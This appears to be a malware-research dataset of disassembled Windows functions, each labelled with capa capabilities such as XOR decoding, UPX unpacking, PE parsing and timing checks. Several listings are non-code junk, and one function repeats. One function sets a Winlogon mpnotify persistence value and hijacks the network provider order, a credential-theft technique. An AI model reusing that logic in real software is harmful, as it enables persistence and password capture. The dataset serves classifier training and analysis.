joyce8/EMBER2024-capa huggingface dataset:
Function at 0x9e5f40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x9e5f8c
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x9e5f52
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x9e5ff0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x9e6042
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x9e6048
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret

Function at 0x9fe535
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.009fe1f5

Function at 0xa03331
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a031b0

Function at 0xa088e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xa0890d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xa0890d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x411d5c
Capabilities:
Encode data using xor

Disassembly:
imul eax, dword [esi + esi*8 - 0x4d21024], 0xffffff97
xor eax, 0xebc560d4
add al, 0xcb
bound esp, qword [eax + 0x32]
xchg ebx, eax
xor ch, byte [edx + 0x4b]
sub ebx, ebx
cmpsb byte [esi], byte es:[edi]
das
and eax, 0xc441a018
idiv dword [esi + 0x647f38f2]
inc edi
mov ecx, 0xb8b1de69
pop ecx
invalid
Function at 0x402940
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [0xf1a4c17]
mov bh, 0x47
push es
lea eax, [eax + eax*4]
shl eax, 3
sub eax, dword [ebp + 0x10]
add eax, esi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], eax
call fcn.0040272f
sahf
jg 0x402969
mov ax, word [edi + 6]
cmp ax, bx
jbe 0x402989
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x402983
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x402974
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.0040272f
push esi
invalid

Function at 0x402c90
Capabilities:
Inspect section memory permissions

Disassembly:
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.004026a0
add esp, 0xc
les ecx, [edi + edi*8]
inc ebp
or al, 0x66
mov eax, dword [ebp + 0xc]
les ecx, [edi + edi*8]
inc ebp
or al, 0x66
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x402c6c
call fcn.0040272f
xor ebp, dword [ebx - 0x66]
sub ecx, dword [ebx - 0x1fcc382]
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x402f1e
add eax, esi
mov dword [ebp - 0x44], eax
Function at 0x402d20
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x402cd4
cmp dword [eax + 0xc], ebx
je 0x402d77
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.0040272f
jmp 0x3a2ede2a
push dword [ecx - 0x2c]
push ebx
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x402d65
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x402d40
and eax, 0xffff
push eax
jmp 0x402d44
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004026f4
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x402f1e
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x402d25
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x402cc6
call fcn.0040272f
out dx, al
in eax, 0xe3
xor eax, 0xa0878b
add byte [eax], al
cmp eax, ebx
je 0x402de3
add eax, esi
cmp dword [eax], ebx
je 0x402de3
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x402dde
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x402dc8
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x402dd0
cmp edx, ebx
jne 0x402f1e
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x402d9f
add eax, dword [eax + 4]
jmp 0x402d8c
mov dword [ebp + 0xc], ebx
jmp 0x402dee
Function at 0x402df0
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x402e06
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x402e24
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x402e82
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x402e69
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x402e72
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x402e7c
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x402e5e
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x402de8
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x402ecf
dec eax
je 0x402ec6
sub eax, 3
je 0x402ebd
mov dword [ebp - 4], 0x40
jmp 0x402eec
mov dword [ebp - 4], 4
jmp 0x402ed2
mov dword [ebp - 4], 0x20
jmp 0x402ed2
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x402f1e
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x402e9e
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0040272f
inc ebx
sub al, 0x3c
jb 0x402f12
push dword [ebp + 0x14]
jne 0x402f29
push 1
push esi
call edi
mov eax, esi
jmp 0x402f2a
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
rcr byte [edi + 0x5e], 0x5b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402e80
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x402e06
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x402e24
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x402e82
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x402e69
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x402e72
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x402e7c
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x402e5e
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x402de8
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x402ecf
dec eax
je 0x402ec6
sub eax, 3
je 0x402ebd
mov dword [ebp - 4], 0x40
jmp 0x402eec
mov dword [ebp - 4], 4
jmp 0x402ed2
mov dword [ebp - 4], 0x20
jmp 0x402ed2
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x402f1e
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x402e9e
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0040272f
inc ebx
sub al, 0x3c
jb 0x402f12
push dword [ebp + 0x14]
jne 0x402f29
push 1
push esi
call edi
mov eax, esi
jmp 0x402f2a
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
rcr byte [edi + 0x5e], 0x5b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x417f10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10000]
push edi
or ebp, 0xffffffff
jmp 0x417f32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x417f39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x417f28
mov eax, 1
add ebx, ebx
jne 0x417f4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x417f40
jne 0x417f5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x417f40
xor ecx, ecx
sub eax, 3
jb 0x417f70
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x417fe2
mov ebp, eax
add ebx, ebx
jne 0x417f7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x417f88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x417fac
inc ecx
add ebx, ebx
jne 0x417f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x417f8d
jne 0x417fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x417f8d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x417fcc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x417fbd
jmp 0x417f2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x417fcc
add edi, ecx
jmp 0x417f2e
pop esi
mov edi, esi
mov ecx, 0xa9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x417fea
cmp byte [edi], 5
jne 0x417fea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x417fef
lea edi, [esi + 0x15000]
mov eax, dword [edi]
or eax, eax
je 0x41805e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x181dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x182a8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41801c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x182b0]
or eax, eax
je 0x418058
mov dword [ebx], eax
add ebx, 4
jmp 0x418039
call dword [esi + 0x182ac]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41808f
cmp al, 0xef
ja 0x418082
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x418064
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x418071
mov ebp, dword [esi + 0x182b4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4180c3
sub esp, 0xffffff80
jmp 0x404af0

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4013ca
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x40684c], 1
mov dword [0x406850], 1
mov dword [0x406854], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40140b
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40142e
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401450
cmp eax, 0x20b
je 0x401475
jmp 0x4014a0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401462
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x40148d
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, 0
leave
ret

Function at 0x401670
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x80c]
mov dword [esp + 4], eax
mov dword [esp], str._TEMP__setup.
mov eax, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call eax
sub esp, 0xc
mov dword [esp + 4], 0x404066
lea eax, [ebp - 0x80c]
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
call eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x80c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteW]
call eax
sub esp, 0x18
nop
leave
ret
Function at 0x4017cc
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinLogon
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], str.C:WindowsSystem32cmd.exe__k_whoami
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
add eax, 1
lea edx, [eax*4]
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.mpnotify
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x2001b
mov dword [esp + 8], 0
mov dword [esp + 4], str.SYSTEMCurrentControlSetControlNetworkProviderOrder
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0x814], 0x800
mov dword [ebp - 0x818], 1
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x814]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x810]
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x818]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.ProviderOrder
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x810]
mov dword [esp + 8], eax
mov dword [esp + 4], str.MSUpdate__s
lea eax, [ebp - 0x810]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x810]
mov dword [esp], eax
call sym._strlen
add eax, 1
lea edx, [eax*4]
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x810]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.ProviderOrder
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
nop
leave
ret

Function at 0x401c0c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._vfprintf
call sym._abort
Function at 0x4027e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x4027ff
mov eax, 0
jmp 0x402843
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x402822
mov eax, 0
jmp 0x402843
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x40283e
mov eax, 0
jmp 0x402843
mov eax, 1
leave
ret

Function at 0x402845
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x4028a4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x40289c
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x40289c
mov eax, dword [ebp - 4]
jmp 0x4028b8
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x402879
mov eax, 0
leave
ret

Function at 0x8ef590
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8ef596
pop ebp
sub ebp, 6
sub ebp, 0x4ef590
jmp 0x8ef5f4
jmp 0x8ef5fd
mov eax, 0x4ef590
add eax, ebp
add eax, 0x93
mov ecx, 0x5bf
mov edx, 0xd78f5b35
xor byte [eax], dl
inc eax
dec ecx
jne 0x8ef614
jmp 0x8ef627
mov esi, 0x9bcbef8
xor eax, 0xf4b43535
int 0x35
xor eax, 0x8df83635
xor esi, dword [0x1d8f3535]
xor eax, 0xd7c23535
std
mov esi, 0x353539b4
xor eax, 0x6565f036
pop ebp
mov ch, 0x1a
cmp byte [0x74f3255d], dh
xor eax, 0x5d111934
sal byte [edx - 7], 1
fcomp st(5)
xor byte [0x1ddc3535], dh
xor eax, 0x61603535
push 0x353db0be
xor eax, 0x39a0be35
xor eax, 0xb8be3535
and eax, 0xf4353535
fdiv qword [edi]
add al, 0x37
mov dh, 0xf7
xor dword [edx + edi - 0x50], edi
ror edx, 0xca
retf 0xf768
Function at 0x40725c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00409d28
test esi, esi
jne 0x407292
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00409eb0
jmp 0x4072b0
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00407140
mov edi, eax
test esi, esi
je 0x4072b0
cmp dword [ebx], 0
je 0x4072b0
dec esi
jmp 0x407299
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x408978
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00408e38
mov byte [esp], al
cmp byte [esp], 0
jne 0x408b01
test edi, edi
je 0x408b01
mov byte [esp + 1], 0
test ebp, ebp
jle 0x408a41
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x408a1c
cmp edi, 0xffffffff
je 0x4089dd
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4089dd
mov byte [esp], 0
jmp 0x408b01
cmp dword [esi], 1
jg 0x408a1c
cmp dword [esi], 0
jne 0x408a0e
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x408a0e
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x408b01
lea eax, [esp + 0xc]
call fcn.00408634
dec ebp
test ebp, ebp
jg 0x4089c2
cmp edi, 0xffffffff
je 0x408a41
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408a3f
mov byte [esp], 0
jmp 0x408b01
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x408986
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408a41
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408b7c
mov edx, eax
mov ebx, dword [0x6108fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x408aa5
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x408aa3
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x408aa5
xor edi, edi
cmp byte [esp], 0
je 0x408acb
mov ebx, dword [esi]
test bl, 1
jne 0x408ae1
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408aab
mov byte [esp + 1], 1
jmp 0x408ae1
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408acb
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408a58
cmp byte [esp], 0
je 0x408b01
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4099c0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x61005c], 0
je 0x409a27
cmp word [0x610348], 0xd7b2
jne 0x4099e9
cmp dword [0x610350], 0
jbe 0x4099e9
mov eax, 0x610344
call dword [0x610360]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x409a54
call fcn.0040a4d8
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x60a032], 0
jne 0x409a43
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x409be8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
